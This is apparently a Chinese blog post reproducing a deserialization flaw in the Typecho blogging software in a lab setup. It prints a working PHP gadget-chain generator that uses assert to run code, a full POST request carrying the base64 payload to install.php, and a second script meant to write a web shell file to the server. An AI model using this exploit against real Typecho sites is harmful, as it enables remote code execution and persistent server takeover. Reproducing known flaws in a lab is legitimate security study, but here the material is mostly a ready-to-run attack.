• typecho 反序列化漏洞复现


    环境搭建

    下载typecho14.10.10 

    https://github.com/typecho/typecho/tags

    安装,这里需要安装数据库

    PHPINFO

     POC.php

    1. <?php
    2. class Typecho_Feed
    3. {
    4. const RSS1 = 'RSS 1.0';
    5. const RSS2 = 'RSS 2.0';
    6. const ATOM1 = 'ATOM 1.0';
    7. const DATE_RFC822 = 'r';
    8. const DATE_W3CDTF = 'c';
    9. const EOL = "\n";
    10. private $_type;
    11. private $_items;
    12. public function __construct(){
    13. $this->_type = $this::RSS2;
    14. $this->_items[0] = array(
    15. 'title' => '1',
    16. 'link' => '1',
    17. 'date' => 1508895132,
    18. 'category' => array(new Typecho_Request()),
    19. 'author' => new Typecho_Request(),
    20. );
    21. }
    22. }
    23. class Typecho_Request
    24. {
    25. private $_params = array();
    26. private $_filter = array();
    27. public function __construct(){
    28. $this->_params['screenName'] = 'phpinfo()'; //替换phpinfo()这里进行深度利用
    29. $this->_filter[0] = 'assert';
    30. }
    31. }
    32. $exp = array(
    33. 'adapter' => new Typecho_Feed(),
    34. 'prefix' => 'typecho_'
    35. );
    36. echo base64_encode(serialize($exp));
    37. ?>

     POST数据包如下,访问install.php并携带参数finish,Referer来自本网站,POST传递恶意参数

    1. POST /build/install.php?finish=1 HTTP/1.1
    2. Host: 10.9.75.161
    3. Upgrade-Insecure-Requests: 1
    4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
    5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    6. Accept-Encoding: gzip, deflate
    7. Accept-Language: en-US,en;q=0.9
    8. Connection: close
    9. Referer: http://10.9.75.161/build/install.php?finish=1
    10. Content-Length: 774
    11. Content-Type: application/x-www-form-urlencoded
    12. __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30

    GETshell

    1. <?php
    2. class Typecho_Feed{
    3. const RSS1 = 'RSS 1.0';
    4. const RSS2 = 'RSS 2.0';
    5. const ATOM1 = 'ATOM 1.0';
    6. const DATE_RFC822 = 'r';
    7. const DATE_W3CDTF = 'c';
    8. const EOL = "\n";
    9. private $_type;
    10. private $_items;
    11. public function __construct(){
    12. $this->_type = $this::RSS2;
    13. $this->_items[0] = array(
    14. 'title' => '1',
    15. 'link' => '1',
    16. 'date' => 1508895132,
    17. 'category' => array(new Typecho_Request()),
    18. 'author' => new Typecho_Request(),
    19. );
    20. }
    21. }
    22. class Typecho_Request{
    23. private $_params = array();
    24. private $_filter = array();
    25. public function __construct(){
    26. $this->_params['screenName'] = "fputs(fopen('shell.php', w), '')";
    27. $this->_filter[0] = 'assert';
    28. }
    29. }
    30. $exp = array(
    31. 'adapter' => new Typecho_Feed(),
    32. 'prefix' => 'typecho_'
    33. );
    34. echo base64_encode(serialize($exp));
    35. ?>

    步骤和前面一样,把payload放__typecho_config=就行

  • 相关阅读:
    05c++呵呵老师【FPS游戏准备】
    今年十八,喜欢SQL注入
    谷歌54亿收购Mandiant:提高自身谷歌云竞争性
    vim的配置文件
    基于Java毕业设计幼儿园综合管理系统源码+系统+mysql+lw文档+部署软件
    2-1 C++类的转换函数与禁止隐士转换(explicit)
    学生信息管理系统(Python)完整版
    Tailwindcss Layout布局相关样式及实战案例,5万字长文,附完整源码和效果截图
    工厂无线wifi短信验证码认证方案
    智能网关在校园能耗监测系统中的应用介绍
  • 原文地址:https://blog.csdn.net/weixin_56537388/article/details/132697049